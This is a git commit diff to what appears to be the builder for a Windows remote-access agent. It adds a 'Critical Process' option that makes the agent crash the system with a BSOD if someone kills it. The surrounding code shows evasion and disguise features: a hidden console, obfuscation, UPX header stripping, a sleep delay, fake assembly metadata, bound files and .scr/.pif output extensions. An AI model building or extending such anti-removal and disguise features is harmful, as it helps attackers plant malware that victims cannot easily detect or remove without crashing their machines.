add critical process for windows

This commit is contained in:
KingKDot
2026-04-03 10:47:05 -05:00
parent 38e5f42baf
commit a044d74aa3
9 changed files with 132 additions and 0 deletions
+4
View File
@@ -109,6 +109,7 @@ function saveFormSettings() {
startupName: document.getElementById("startup-name")?.value ?? "",
hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false,
requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false,
criticalProcess: document.querySelector('input[name="critical-process"]')?.checked ?? false,
assemblyTitle: document.getElementById("assembly-title")?.value ?? "",
assemblyProduct: document.getElementById("assembly-product")?.value ?? "",
assemblyCompany: document.getElementById("assembly-company")?.value ?? "",
@@ -161,6 +162,7 @@ function restoreFormSettings() {
if (s.startupName !== undefined) setVal("startup-name", s.startupName);
if (s.hideConsole !== undefined) setCb('input[name="hide-console"]', s.hideConsole);
if (s.requireAdmin !== undefined) setCb('input[name="require-admin"]', s.requireAdmin);
if (s.criticalProcess !== undefined) setCb('input[name="critical-process"]', s.criticalProcess);
if (s.assemblyTitle !== undefined) setVal("assembly-title", s.assemblyTitle);
if (s.assemblyProduct !== undefined) setVal("assembly-product", s.assemblyProduct);
if (s.assemblyCompany !== undefined) setVal("assembly-company", s.assemblyCompany);
@@ -586,6 +588,7 @@ form?.addEventListener("submit", async (e) => {
const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || "";
const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || "";
const requireAdmin = form.querySelector('input[name="require-admin"]')?.checked || false;
const criticalProcess = form.querySelector('input[name="critical-process"]')?.checked || false;
const outputExtension = form.querySelector("#output-extension")?.value || ".exe";
const sleepSecondsRaw = parseInt(form.querySelector("#sleep-seconds")?.value || "0", 10);
const sleepSeconds = !isNaN(sleepSecondsRaw) && sleepSecondsRaw > 0 ? sleepSecondsRaw : 0;
@@ -614,6 +617,7 @@ form?.addEventListener("submit", async (e) => {
assemblyVersion: assemblyVersion || undefined,
assemblyCopyright: assemblyCopyright || undefined,
requireAdmin,
criticalProcess,
outputExtension,
sleepSeconds: sleepSeconds > 0 ? sleepSeconds : undefined,
iconBase64: pendingIconBase64 || undefined,
+10
View File
@@ -418,6 +418,16 @@
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-red-500 transition-colors">
<input type="checkbox" name="critical-process" class="w-4 h-4" />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-skull text-red-400"></i> Critical Process
</span>
<span class="text-xs text-slate-500">If running as admin, marks the process as critical — killing it without disconnect/uninstall triggers a BSOD</span>
</div>
</label>
<div>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-solid fa-file-code text-blue-400"></i> PE / Assembly Metadata
@@ -87,6 +87,7 @@ type BuildProcessConfig = {
enableUpx?: boolean;
upxStripHeaders?: boolean;
requireAdmin?: boolean;
criticalProcess?: boolean;
outputExtension?: string;
sleepSeconds?: number;
boundFiles?: BoundFile[];
@@ -740,6 +741,12 @@ func runBoundFiles() {
sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" });
}
if (config.criticalProcess && os === "windows") {
const criticalFlag = "-X overlord-client/cmd/agent/config.DefaultCriticalProcess=true";
ldflags = ldflags ? `${ldflags} ${criticalFlag}` : criticalFlag;
sendToStream({ type: "output", text: "Critical process: enabled (requires admin at runtime)\n", level: "info" });
}
if (config.obfuscate) {
sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" });
if (config.garbleLiterals) {
@@ -72,6 +72,7 @@ export async function handleBuildRoutes(
enableUpx,
upxStripHeaders,
requireAdmin,
criticalProcess,
outputExtension,
sleepSeconds,
boundFiles,
@@ -164,6 +165,7 @@ export async function handleBuildRoutes(
? iconBase64
: undefined;
const safeRequireAdmin = !!requireAdmin;
const safeCriticalProcess = !!criticalProcess;
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".pif", ".com"]);
const safeOutputExtension =
typeof outputExtension === "string" && VALID_OUTPUT_EXTENSIONS.has(outputExtension.toLowerCase())
@@ -248,6 +250,7 @@ export async function handleBuildRoutes(
enableUpx: !!enableUpx,
upxStripHeaders: !!upxStripHeaders,
requireAdmin: safeRequireAdmin,
criticalProcess: safeCriticalProcess,
outputExtension: safeOutputExtension,
sleepSeconds: safeSleepSeconds,
boundFiles: safeBoundFiles,